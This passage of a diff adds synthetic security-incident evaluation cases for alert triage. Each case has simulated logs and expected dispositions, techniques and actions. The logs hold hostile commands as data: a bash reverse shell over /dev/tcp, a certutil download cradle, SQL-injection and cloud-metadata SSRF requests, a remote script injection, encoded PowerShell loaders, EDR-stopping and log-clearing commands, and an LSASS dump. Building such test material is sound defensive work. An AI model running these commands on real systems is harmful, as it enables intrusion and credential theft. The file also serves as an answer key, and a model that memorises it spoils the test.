+ "AttachmentNames": [
+ "invoice_q4.docm"
+ ]
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\cmd.exe",
+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
+ "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"
+ },
+ {
+ "source": "edr",
+ "rule": "Office macro spawned cmd.exe",
+ "severity": "high",
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]",
+ "threat_actor": "Scattered Spider"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1566.001",
+ "T1059.005"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-112",
+ "provenance": "synthetic",
+ "title": "Exploitation of public-facing web app on MAC-LEGAL-LAPTOP",
+ "description": "WAF logs show SQL-injection and SSRF probes from 198.51.100.23 against the application on MAC-LEGAL-LAPTOP. One request returned 200 with internal cloud-metadata content. Likely exploitation of CVE-2024-1234.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Exploitation of public-facing web app on MAC-LEGAL-LAPTOP",
+ "severity": "critical",
+ "template_id": "webapp-sqli-ssrf-exploit"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://MAC-LEGAL-LAPTOP/search?q=' OR 1=1--",
+ "status_code": 200,
+ "src_ip": "198.51.100.23",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SQLI:1011",
+ "cve": "CVE-2024-1234"
+ },
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://MAC-LEGAL-LAPTOP/proxy?u=http://169.254.169.254/latest/meta-data/",
+ "status_code": 200,
+ "src_ip": "198.51.100.23",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SSRF:2007"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1190",
+ "T1082"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-113",
+ "provenance": "synthetic",
+ "title": "Watering-hole exploit served from internal Confluence by 185.220.101.7",
+ "description": "Internal Confluence page injected with malicious JavaScript by 185.220.101.7. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to MagicWeb TTPs.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Watering-hole exploit served from internal Confluence by 185.220.101.7",
+ "severity": "high",
+ "template_id": "confluence-watering-hole"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://confluence.example.com/pages/editpage.action?pageId=8472",
+ "status_code": 200,
+ "src_ip": "185.220.101.7",
+ "user_agent": "Mozilla/5.0",
+ "payload_excerpt": "<script src=//185.220.101.7/x.js></script>"
+ },
+ {
+ "source": "edr",
+ "rule": "Browser exploitation: drive-by JavaScript loader",
+ "severity": "high",
+ "Computer": "WIN-HR-DESKTOP",
+ "User": "[email protected]",
+ "threat_actor": "MagicWeb"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1189",
+ "T1203"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-114",
+ "provenance": "synthetic",
+ "title": "Supply-chain compromise: malicious npm package on WIN-DC-PRIMARY",
+ "description": "CI pipeline on WIN-DC-PRIMARY installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 192.168.1.100. Build artefacts may be tainted.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Supply-chain compromise: malicious npm package on WIN-DC-PRIMARY",
+ "severity": "critical",
+ "template_id": "npm-supply-chain"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/node",
+ "a0": "node",
+ "a1": "/tmp/node_modules/event-stream/postinstall.js",
+ "hostname": "WIN-DC-PRIMARY",
+ "user": "ci-runner"
+ },
+ {
+ "source": "github_audit",
+ "action": "workflow_run.completed",
+ "workflow": "ci.yml",
+ "actor": "dependabot[bot]",
+ "repository": "aisoc/web",
+ "conclusion": "success",
+ "package_added": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "npm post-install reverse shell",
+ "severity": "high",
+ "Computer": "WIN-DC-PRIMARY",
+ "User": "ci-runner",
+ "dest_ip": "192.168.1.100",
+ "dest_port": 4444
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1195.001",
+ "T1059.007"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-115",
+ "provenance": "synthetic",
+ "title": "Malicious USB autorun on air-gapped host WIN-PROD-WEB02",
+ "description": "USB device inserted on air-gapped WIN-PROD-WEB02 by [email protected]. AutoRun executed Python stager that collected local files. Data staged in C:\\Temp\\.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Malicious USB autorun on air-gapped host WIN-PROD-WEB02",
+ "severity": "high",
+ "template_id": "usb-autorun-airgap"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 6416,
+ "Computer": "WIN-PROD-WEB02",
+ "SubjectUserName": "[email protected]",
+ "ClassName": "USB",
+ "DeviceDescription": "SanDisk Cruzer 16GB"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "Image": "C:\\Python311\\python.exe",
+ "ParentImage": "C:\\Windows\\System32\\rundll32.exe",
+ "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1091",
+ "T1005"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-116",
+ "provenance": "synthetic",
+ "title": "OAuth consent phishing targeting [email protected]",
+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 91.134.231.15.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "OAuth consent phishing targeting [email protected]",
+ "severity": "high",
+ "template_id": "oauth-consent-phish"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Consent to application.",
+ "UserId": "[email protected]",
+ "ApplicationId": "00000003-0000-0ff1-ce00-000000000000",
+ "ConsentedScopes": [
+ "Mail.Read",
+ "Files.Read.All",
+ "offline_access"
+ ]
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Auto-fwd",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true
+ }
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1528",
+ "T1550.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-117",
+ "provenance": "synthetic",
+ "title": "Obfuscated PowerShell dropper executed on WIN-HR-DESKTOP",
+ "description": "PowerShell dropper executed on WIN-HR-DESKTOP by [email protected]; payload base64-encoded and decoded in-memory. Linked to MosaicRegressor ransomware staging.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Obfuscated PowerShell dropper executed on WIN-HR-DESKTOP",
+ "severity": "critical",
+ "template_id": "powershell-obfuscated-dropper"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-HR-DESKTOP",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4104,
+ "Computer": "WIN-HR-DESKTOP",
+ "User": "[email protected]",
+ "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)",
+ "threat_actor": "MosaicRegressor"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1059.001",
+ "T1027"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-118",
+ "provenance": "synthetic",
+ "title": "Living-off-the-land: certutil download cradle on WIN-PROD-WEB02",
+ "description": "certutil.exe -urlcache invoked from cmd.exe on WIN-PROD-WEB02. cmd.exe was spawned by outlook.exe. Payload downloaded from 198.51.100.23.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Living-off-the-land: certutil download cradle on WIN-PROD-WEB02",
+ "severity": "high",
+ "template_id": "certutil-download-cradle"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "certutil -urlcache -split -f http://198.51.100.23/p.exe %TEMP%\\p.exe"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "DestinationIp": "198.51.100.23",
+ "DestinationPort": 80,
+ "Protocol": "tcp"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1105",
+ "T1218.009"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-119",
+ "provenance": "synthetic",
+ "title": "Container runtime abuse: malicious `docker run` on WIN-FILE-SHARE",
+ "description": "Unauthenticated Docker API on WIN-FILE-SHARE exploited from 185.220.101.7. Container with cryptominer spawned. CPU on host saturated to 95%.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Container runtime abuse: malicious `docker run` on WIN-FILE-SHARE",
+ "severity": "high",
+ "template_id": "docker-runtime-abuse"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "http://WIN-FILE-SHARE:2375/containers/create",
+ "status_code": 201,
+ "src_ip": "185.220.101.7",
+ "request_body": {
+ "Image": "monero/xmrig",
+ "HostConfig": {
+ "Privileged": true
+ }
+ }
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/docker",
+ "a0": "docker",
+ "a1": "run",
+ "a2": "--privileged",
+ "hostname": "WIN-FILE-SHARE",
+ "user": "root"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1610",
+ "T1059.004",
+ "T1496"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-120",
+ "provenance": "synthetic",
+ "title": "Malicious WMI subscription on WIN-PROD-WEB02",
+ "description": "Permanent WMI event subscription created on WIN-PROD-WEB02 by [email protected]. Consumer runs encoded script. Persistence + execution mechanism.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Malicious WMI subscription on WIN-PROD-WEB02",
+ "severity": "high",
+ "template_id": "wmi-event-subscription"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 19,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "EventNamespace": "ROOT\\Subscription",
+ "Name": "UpdaterFilter",
+ "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 21,
+ "Computer": "WIN-PROD-WEB02",
+ "Operation": "Created",
+ "Name": "UpdaterConsumer",
+ "Type": "CommandLineEventConsumer",
+ "Destination": "powershell.exe -enc <encoded>"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1546.003",
+ "T1059.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-121",
+ "provenance": "synthetic",
+ "title": "Registry Run key persistence created by [email protected] on K8S-PROD-CLUSTER",
+ "description": "New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on K8S-PROD-CLUSTER. Points to roaming binary signed with revoked cert. Linked to ALPHV/BlackCat.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Registry Run key persistence created by [email protected] on K8S-PROD-CLUSTER",
+ "severity": "medium",
+ "template_id": "registry-run-persistence"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "K8S-PROD-CLUSTER",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
+ "Details": "C:\\Users\\[email protected]\\AppData\\Roaming\\updater.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "Persistence: Registry Run with revoked-cert signed binary",
+ "severity": "high",
+ "Computer": "K8S-PROD-CLUSTER",
+ "User": "[email protected]",
+ "threat_actor": "ALPHV/BlackCat"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1547.001"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-122",
+ "provenance": "synthetic",
+ "title": "Scheduled task persistence on WIN-PROD-WEB02",
+ "description": "Hidden scheduled task created on WIN-PROD-WEB02 by [email protected]: triggers every 30 minutes, runs script from %APPDATA%\\Roaming. Persistence mechanism.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Scheduled task persistence on WIN-PROD-WEB02",
+ "severity": "medium",
+ "template_id": "scheduled-task-persistence"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4698,
+ "Computer": "WIN-PROD-WEB02",
+ "SubjectUserName": "[email protected]",
+ "TaskName": "\\Microsoft\\Windows\\UpdaterTask",
+ "TaskContent": "<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Windows\\System32\\schtasks.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1053.005"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-123",
+ "provenance": "synthetic",
+ "title": "Firmware implant detected on UEFI partition of WIN-PROD-WEB02",
+ "description": "UEFI secure-boot violation on WIN-PROD-WEB02. Unknown module detected in firmware. Signature matches MosaicRegressor implant.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Firmware implant detected on UEFI partition of WIN-PROD-WEB02",
+ "severity": "critical",
+ "template_id": "uefi-firmware-implant"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4673,
+ "Computer": "WIN-PROD-WEB02",
+ "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi",
+ "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "UEFI implant: MosaicRegressor signature match",
+ "severity": "critical",
+ "Computer": "WIN-PROD-WEB02",
+ "indicator_path": "ESP:/EFI/Boot/bootx64.efi"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1542.001",
+ "T1027.002"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-124",
+ "provenance": "synthetic",
+ "title": "Backdoor cron job installed on MAC-LEGAL-LAPTOP",
+ "description": "/etc/cron.d entry created by [email protected] on MAC-LEGAL-LAPTOP. Reverse shell beacon to 91.134.231.15 every 5 minutes.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Backdoor cron job installed on MAC-LEGAL-LAPTOP",
+ "severity": "high",
+ "template_id": "cron-backdoor"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/usr/bin/vi",
+ "path": "/etc/cron.d/zz-update",
+ "hostname": "MAC-LEGAL-LAPTOP",
+ "user": "[email protected]",
+ "a2": "O_WRONLY|O_CREAT"
+ },
+ {
+ "source": "linux_journald",
+ "_SYSTEMD_UNIT": "cron.service",
+ "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/91.134.231.15/4444 0>&1)",
+ "hostname": "MAC-LEGAL-LAPTOP"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1053.003",
+ "T1071.001"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-125",
+ "provenance": "synthetic",
+ "title": "UAC bypass observed on WIN-EXCHANGE-01",
+ "description": "fodhelper.exe abuse on WIN-EXCHANGE-01 by [email protected]; auto-elevation triggered without prompt. Process tree shows escalation to SYSTEM.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "UAC bypass observed on WIN-EXCHANGE-01",
+ "severity": "high",
+ "template_id": "uac-bypass-fodhelper"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "WIN-EXCHANGE-01",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command",
+ "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-EXCHANGE-01",
+ "Image": "C:\\Windows\\System32\\fodhelper.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "IntegrityLevel": "High",
+ "User": "SYSTEM"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1548.002"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-126",
+ "provenance": "synthetic",
+ "title": "Container escape via privileged pod on GCP-GKE-NODE-04",
+ "description": "Kubernetes privileged pod created on GCP-GKE-NODE-04 by [email protected]. cgroup escape to host namespace observed. Node filesystem accessed.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Container escape via privileged pod on GCP-GKE-NODE-04",
+ "severity": "critical",
+ "template_id": "k8s-privileged-pod-escape"
+ },
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "[email protected]"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "name": "x",
+ "image": "alpine",
+ "securityContext": {
+ "privileged": true
+ }
+ }
+ ],
+ "hostPID": true
+ }
+ },
+ "stage": "ResponseComplete",
+ "responseStatus": {
+ "code": 201
+ },
+ "node": "GCP-GKE-NODE-04"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/bin/sh",
+ "path": "/host/etc/shadow",
+ "hostname": "GCP-GKE-NODE-04",
+ "user": "root"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1611",
+ "T1082"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-127",
+ "provenance": "synthetic",
+ "title": "Linux SUID binary abuse on WIN-DEVOPS-LT",
+ "description": "Custom SUID binary discovered in /tmp on WIN-DEVOPS-LT; allows arbitrary command execution as root. Likely escalation by [email protected].",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Linux SUID binary abuse on WIN-DEVOPS-LT",
+ "severity": "high",
+ "template_id": "linux-suid-abuse"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "chmod",
+ "exe": "/bin/chmod",
+ "a1": "/tmp/.x",
+ "mode": "04755",
+ "hostname": "WIN-DEVOPS-LT",
+ "user": "[email protected]"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/.x",
+ "hostname": "WIN-DEVOPS-LT",
+ "uid": 1001,
+ "euid": 0,
+ "user": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1548.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-128",
+ "provenance": "synthetic",
+ "title": "Memory-only fileless implant in svchost on GCP-GKE-NODE-04",
+ "description": "Process hollowing detected on GCP-GKE-NODE-04: svchost.exe replaced with Cobalt Strike beacon to 91.134.231.15. No disk artefacts. Linked to ALPHV/BlackCat.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Memory-only fileless implant in svchost on GCP-GKE-NODE-04",
+ "severity": "critical",
+ "template_id": "process-hollowing-svchost"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 8,
+ "Computer": "GCP-GKE-NODE-04",
+ "SourceImage": "C:\\Windows\\System32\\powershell.exe",
+ "TargetImage": "C:\\Windows\\System32\\svchost.exe",
+ "StartFunction": "LoadLibraryW",
+ "NewThreadId": 4716
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "91.134.231.15",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1"
+ },
+ {
+ "source": "edr",
+ "rule": "Cobalt Strike beacon (process hollowing)",
+ "severity": "high",
+ "Computer": "GCP-GKE-NODE-04",
+ "threat_actor": "ALPHV/BlackCat"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1055.012",
+ "T1620"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-129",
+ "provenance": "synthetic",
+ "title": "Indicator removal: Windows event log cleared on MAC-CFO-LAPTOP",
+ "description": "Security event log cleared on MAC-CFO-LAPTOP by [email protected]. wevtutil.exe cl Security observed in command-line telemetry.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Indicator removal: Windows event log cleared on MAC-CFO-LAPTOP",
+ "severity": "high",
+ "template_id": "event-log-cleared"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 1102,
+ "Computer": "MAC-CFO-LAPTOP",
+ "SubjectUserName": "[email protected]",
+ "Channel": "Security",
+ "Description": "The audit log was cleared."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "MAC-CFO-LAPTOP",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security"
+ }
+ ],
+ "expected_disposition": "suspicious",
+ "expected_techniques": [
+ "T1070.001"
+ ],
+ "expected_actions": [
+ "escalate",
+ "create_ticket",
+ "notify"
+ ]
+ },
+ {
+ "id": "INC-EVAL-130",
+ "provenance": "synthetic",
+ "title": "Disable security tooling on GCP-GKE-NODE-04",
+ "description": "[email protected] attempted to stop Defender, CrowdStrike, and Sysmon on GCP-GKE-NODE-04. Tampering telemetry triggered alert.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Disable security tooling on GCP-GKE-NODE-04",
+ "severity": "critical",
+ "template_id": "disable-edr-tooling"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "GCP-GKE-NODE-04",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop CSAgent"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "GCP-GKE-NODE-04",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop WinDefend"
+ },
+ {
+ "source": "edr",
+ "rule": "EDR tampering attempt",
+ "severity": "critical",
+ "Computer": "GCP-GKE-NODE-04",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1562.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-131",
+ "provenance": "synthetic",
+ "title": "LSASS memory dump on GCP-GKE-NODE-04 by [email protected]",
+ "description": "comsvcs.dll MiniDump observed on GCP-GKE-NODE-04. lsass.exe memory dumped to C:\\Windows\\Temp\\. Mimikatz signatures detected.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "LSASS memory dump on GCP-GKE-NODE-04 by [email protected]",
+ "severity": "critical",
+ "template_id": "lsass-memory-dump"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 10,
+ "Computer": "GCP-GKE-NODE-04",
+ "SourceImage": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetImage": "C:\\Windows\\System32\\lsass.exe",
+ "GrantedAccess": "0x1010",
+ "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump",
+ "User": "[email protected]"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1003.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-132",
+ "provenance": "synthetic",
+ "title": "Brute-force credential spray against [email protected] from 91.134.231.15",
+ "description": "Credential spray from 91.134.231.15 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Brute-force credential spray against [email protected] from 91.134.231.15",
+ "severity": "high",
+ "template_id": "credential-spray"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "91.134.231.15",
+ "resultType": 50126,
+ "resultDescription": "Invalid username or password",
+ "appDisplayName": "Office 365 Exchange Online",
+ "attempt_count": 1500
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "91.134.231.15",
+ "resultType": 0,
+ "resultDescription": "Success",
+ "conditionalAccessStatus": "success",
+ "riskLevelAggregated": "high"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1110.003"
+ ],
+ "expected_actions": [
+ "disable_user",
